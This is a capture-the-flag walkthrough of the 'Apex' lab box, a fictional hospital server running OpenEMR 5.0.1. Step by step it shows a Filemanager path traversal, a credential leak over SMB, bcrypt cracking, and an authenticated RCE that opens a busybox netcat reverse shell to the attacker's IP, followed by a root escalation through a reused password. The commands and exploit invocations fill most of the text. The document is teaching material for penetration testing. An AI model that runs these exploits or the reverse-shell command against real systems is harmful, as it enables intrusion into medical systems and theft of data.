Apex
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Apex is a fictional hospital with OpenEMR 5.0.1 and a Responsive Filemanager 9.13.4 on 80, an SMB withdocsand MySQL on 3306. The Filemanager has a path traversal (CVE-2018-20789): since itsDocumentsfolder is synced with the SMB sharedocs, we copysqlconf.phpthere and read it over SMB (path traversal), getting the MySQL credentials (openemr:C78maEQUIEuQ, credentials in config). In the database we pulladmin's bcrypt hash, crack it tothedoctor(cracking) and log into OpenEMR; its authenticated RCE (CVE-2018-17179) gives a shell aswww-data. That same password works forsu root(reuse).
Recon#
Initial scan#
The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan.
ping -c 1 192.168.104.14564 bytes from 192.168.104.145: icmp_seq=1 ttl=61 time=29.1 ms
We sweep all TCP ports, then fingerprint versions:
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.104.145PORT STATE SERVICE 80/tcp open http 445/tcp open netbios-ssn 3306/tcp open mysql
nmap -p80,445,3306 -sCV 192.168.104.145 -oN targetedScanStarting Nmap 7.95 ( https://nmap.org ) at 2026-01-08 22:51 UTC Nmap scan report for 192.168.104.145 (192.168.104.145) Host is up (0.030s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: APEX Hospital 445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP) 3306/tcp open mysql MariaDB 5.5.5-10.1.48 | mysql-info: | Protocol: 10 | Version: 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1 | Thread ID: 33 | Capabilities flags: 63487 | Some Capabilities: DontAllowDatabaseTableColumn, Support41Auth, Speaks41ProtocolOld, SupportsCompression, SupportsTransactions, IgnoreSigpipes, InteractiveClient, LongColumnFlag, SupportsLoadDataLocal, FoundRows, ConnectWithDatabase, LongPassword, Speaks41ProtocolNew, ODBCClient, IgnoreSpaceBeforeParenthesis, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins | Status: Autocommit | Salt: fi]w`[)UQw$J*/O~METT |_ Auth Plugin Name: mysql_native_password Service Info: Host: APEX Host script results: | smb-os-discovery: | OS: Windows 6.1 (Samba 4.7.6-Ubuntu) | Computer name: apex | NetBIOS computer name: APEX\x00 | Domain name: \x00 | FQDN: apex |_ System time: 2026-01-08T17:51:27-05:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_clock-skew: mean: 1h39m59s, deviation: 2h53m14s, median: -2s | smb2-time: | date: 2026-01-08T22:51:25 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 47.14 seconds
A hospital site (80), a Samba (445) and a MariaDB (3306). The mix suggests a medical app with its database; the SMB usually holds documentation or shared files.
SMB - TCP 445#
With a null session we enumerate the shares: docs is readable and contains OpenEMR PDFs, which gives away the app running behind it:
netexec smb 192.168.104.145 -u '' -p '' --sharesdocs READ Documents ...
smbclient //192.168.104.145/docsOpenEMR Success Stories.pdf OpenEMR Features.pdf
Opening the PDF confirms the product and even links to its repository (github.com/openemr/openemr), which will later tell us where OpenEMR keeps its files:

We keep the key fact: the docs share is a folder of the web server (we'll confirm it shortly).
HTTP - TCP 80#
The site is "APEX Hospital". Enumerating routes turns up /openemr (the medical app) and a /filemanager:

OpenEMR is at /openemr; its admin.php identifies version 5.0.1:

Later on, once inside the application with an admin session, the About menu confirms it from the interface itself, without relying on the installer:
About OpenEMR
Version Number: v5.0.1 (1)
User Manual
Online Support
Acknowledgments, Licensing and CertificationThat trailing (1) is the patch number, and it is what will decide which exploit works later on.
And at /filemanager runs a Responsive Filemanager v9.13.4:

That Filemanager shows a Documents folder. Enumerating the SMB share docs we see the same two PDFs the Filemanager lists in Documents: both views point to the same folder on disk, i.e. Documents (web) and docs (SMB) are synced. That sync is the piece that joins the chain:

File read (path traversal)#
Responsive Filemanager 9.13.4: SMB-synced path traversal#
Responsive Filemanager 9.13.4 is vulnerable to a path traversal (CVE-2018-20789, exploit 49359.py). The exploit doesn't return the file directly: it uses the paste_clipboard action to copy the targeted file into the Documents folder. Since Documents is synced with the SMB share docs, we then read the result over SMB. First we validate the traversal against /etc/passwd (it needs a valid PHPSESSID, which we grab with a curl -I):
The exploit is copied from Exploit-DB and renamed to keep it handy:
searchsploit -m php/webapps/49359.py
mv 49359.py exp.pycurl -I http://192.168.104.145/filemanager/HTTP/1.1 200 OK Date: Fri, 09 Jan 2026 18:57:07 GMT Server: Apache/2.4.29 (Ubuntu) Set-Cookie: PHPSESSID=2re5mg0j5ck237fsiefelape4g; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: last_position=%2F; expires=Fri, 16-Jan-2026 18:57:07 GMT; Max-Age=604800 Content-Type: text/html; charset=UTF-8
python3 exp.py "http://192.168.104.145" PHPSESSID=<sesion> /etc/passwd[*] Copy Clipboard [*] Paste Clipboard root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin ...
The copied file appears as passwd inside Documents in the Filemanager itself, visual proof the paste_clipboard worked:

At the manager's root it reads just as clearly, now next to the two original folders: the bar's counter moves to (1 Files - 2 Folders) and passwd shows up as one more file, selectable and downloadable straight from the browser:

And, since Documents is synced with docs, that same passwd can be downloaded over SMB:
smbclient //192.168.104.145/docsPassword for [WORKGROUP\root]: Try "help" to get a list of possible commands. smb: \> dir . D 0 Fri Jan 9 19:11:03 2026 .. D 0 Fri Jan 9 18:58:03 2026 passwd N 1607 Fri Jan 9 19:11:03 2026 OpenEMR Success Stories.pdf A 290738 Fri Apr 9 15:47:12 2021 OpenEMR Features.pdf A 490355 Fri Apr 9 15:47:12 2021 16446332 blocks of size 1024. 10784520 blocks available smb: \>

With the PoC validated, the real target is OpenEMR's sqlconf.php, the file that holds the database credentials. We know its path from OpenEMR's public repository (sites/default/sqlconf.php):

We point the traversal at that path and retrieve it over SMB:
python3 exp.py "http://192.168.104.145" PHPSESSID=<session> /var/www/openemr/sites/default/sqlconf.php
smbclient //192.168.104.145/docs # get sqlconf.php
sqlconf.php reveals the database credentials (credentials in config):
$host = 'localhost';
$login = 'openemr';
$pass = 'C78maEQUIEuQ';
$dbase = 'openemr';Auth to OpenEMR (credentials)#
MySQL: admin's hash and cracking#
With those credentials we log into the MariaDB on 3306 and navigate to the openemr database:
mysql -h 192.168.104.145 -u openemr -p --skip-ssl # C78maEQUIEuQMariaDB [(none)]> show databases; information_schema openemr MariaDB [(none)]> use openemr; MariaDB [openemr]> show tables; ... 234 rows in set (0.032 sec)
The users_secure table holds the administrator's hash:
select username,password from users_secure;
MariaDB [openemr]> select username,password from users_secure;
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2a$05$bJcIfCBjN5Fuh0K9qfoe0eRJqMdM49sWvuSGqv84VMMAkLgkK8XnC |
+----------+--------------------------------------------------------------+
1 row in set (0.031 sec)It's a bcrypt; we crack it offline with John (hash cracking):
john --wordlist=/usr/share/wordlists/rockyou.txt hashthedoctor (?)
admin's password is thedoctor. We use it on OpenEMR's login:

And we land in the panel as Administrator:

Shell as www-data#
OpenEMR 5.0.1: authenticated RCE (CVE-2018-17179)#
OpenEMR 5.0.1 has an authenticated RCE (CVE-2018-17179): with a valid admin session, commands run on the server. We look up the public exploit for that version:
searchsploit openemr 5.0.1Exploit Title | Path -------------------------------------------------------------------------------- --------------------------------- OpenEMR 5.0.1 - 'controller' Remote Code Execution | php/webapps/48623.txt OpenEMR 5.0.1 - Remote Code Execution (1) | php/webapps/48515.py OpenEMR 5.0.1 - Remote Code Execution (Authenticated) (2) | php/webapps/49486.rb OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) | php/webapps/49998.py OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) (2) | php/webapps/50122.rb OpenEMR 5.0.1.3 - (Authenticated) Arbitrary File Actions | linux/webapps/45202.txt OpenEMR 5.0.1.3 - Authentication Bypass | php/webapps/50017.py OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated) | php/webapps/45161.py OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) | php/webapps/50037.py OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) (2) | php/webapps/50087.rb -------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results Papers: No Results
We download 45161.py and rename it:
searchsploit -m 45161.pyCopied to: /proving_grounds/apex/exploits/45161.py
mv 45161.py openemr.pyBefore triggering a shell it pays to check the RCE works. We leave a tcpdump listening for ICMP on the VPN interface. The last two lines are not there when it starts: they arrive when, in another terminal, we fire the ping.
tcpdump -i tun0 icmptcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes 20:40:49.327528 IP 192.168.104.145 > 192.168.45.196: ICMP echo request, id 2221, seq 1, length 64 20:40:49.327551 IP 192.168.45.196 > 192.168.104.145: ICMP echo reply, id 2221, seq 1, length 64
And that ping, fired through the RCE (the exploit greets you with its own banner before getting to work):
python2 openemr.py http://192.168.104.145/openemr -u admin -p thedoctor -c "ping -c 1 192.168.45.196"... [$] Authenticating with admin:thedoctor [$] Injecting payload [$] Payload executed
The ICMP confirms execution. The listener is penelope, which comes up on its 4444 and gets a second one on 445, the port the payload aims at:
penelope[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.1.80 • 172.17.0.1 • 172.18.0.1 • 192.168.45.196
listeners add -p 445[+] Listening for reverse shells on 0.0.0.0:445 → 127.0.0.1 • 192.168.1.80 • 172.17.0.1 • 172.18.0.1 • 192.168.45.196
And we fire the reverse shell with busybox netcat:
python2 openemr.py http://192.168.104.145/openemr -u admin -p thedoctor -c "busybox nc 192.168.45.196 445 -e bash" &>/dev/nullAnd the session lands on the listener:
[+] Got reverse shell from APEX~192.168.104.145-Linux-x86_64 Assigned SessionID <1>sessions 1[+] Attempting to upgrade shell to PTY ... [+] Shell upgraded successfully using /usr/bin/python3! [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 [+] Logging to /root/.penelope/sessions/APEX~192.168.104.145-Linux-x86_64/2026_01_09-20_43_54-280.log www-data@APEX:/var/www/openemr/interface/main$ whoami www-data www-data@APEX:/var/www/openemr/interface/main$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
We read the first proof (in white's home):
cat /home/white/local.txt && whoami && ip a && hostnamea32d76701998f67dc7034c46f2415c16 www-data 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 00:50:56:9e:f0:67 brd ff:ff:ff:ff:ff:ff inet 192.168.104.145/24 brd 192.168.104.255 scope global ens192 valid_lft forever preferred_lft forever APEX
Privilege escalation#
Password reuse#
The password we cracked for OpenEMR (thedoctor) is an obvious candidate for other accounts (credential reuse). We try it straight with su root:
su root # thedoctor idwww-data@APEX:/var/www/openemr/interface/main$ su root Password: root@APEX:/var/www/openemr/interface/main# id uid=0(root) gid=0(root) groups=0(root)
root reuses the same password. We read the final proof:
lsproof.txt
cat proof.txt && whoami && hostname && ip ab41dc02e29368b5fdbcee6aaa4a38183 root APEX 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 00:50:56:9e:f0:67 brd ff:ff:ff:ff:ff:ff inet 192.168.104.145/24 brd 192.168.104.255 scope global ens192 valid_lft forever preferred_lft forever
Attack chain#
SMB docs (445) ── OpenEMR PDFs (fingerprint) + folder synced with /filemanager
HTTP (80) ── OpenEMR 5.0.1 + Responsive Filemanager 9.13.4
│ path traversal (CVE-2018-20789) -> copy sqlconf.php to Documents -> read over SMB
│ -> MySQL openemr:C78maEQUIEuQ
▼
MySQL (3306) ── users_secure -> admin's bcrypt hash -> john -> thedoctor
│ OpenEMR admin:thedoctor -> authenticated RCE (CVE-2018-17179) -> busybox nc
▼
shell as www-data (local.txt)
│ password reuse -> su root (thedoctor)
▼
shell as root (proof.txt)Lessons learned#
- Two services sharing a folder multiply the risk. The Filemanager's path traversal only copied files to
Documents, but that folder was the SMB sharedocs: the combination turned an internal copy into arbitrary read from outside. - Validate the PoC before the real target. Reading
/etc/passwdfirst confirmed the traversal without risking anything; only then did we go forsqlconf.php. And OpenEMR's public repo gave us that file's exact path. - DB credentials in config are a direct bridge.
sqlconf.phphanded overopenemr:C78maEQUIEuQ, which opened the database and, with it, the administrator's hash. - A low-cost bcrypt with a dictionary password falls fast.
thedoctorcame out of rockyou in seconds; cost 5 helps, but the real problem is the weak password. - Password reuse links the app to the system. The same
thedoctorfrom the panel worked forroot. Per-service credentials (and arootwith its own password) would have cut the escalation.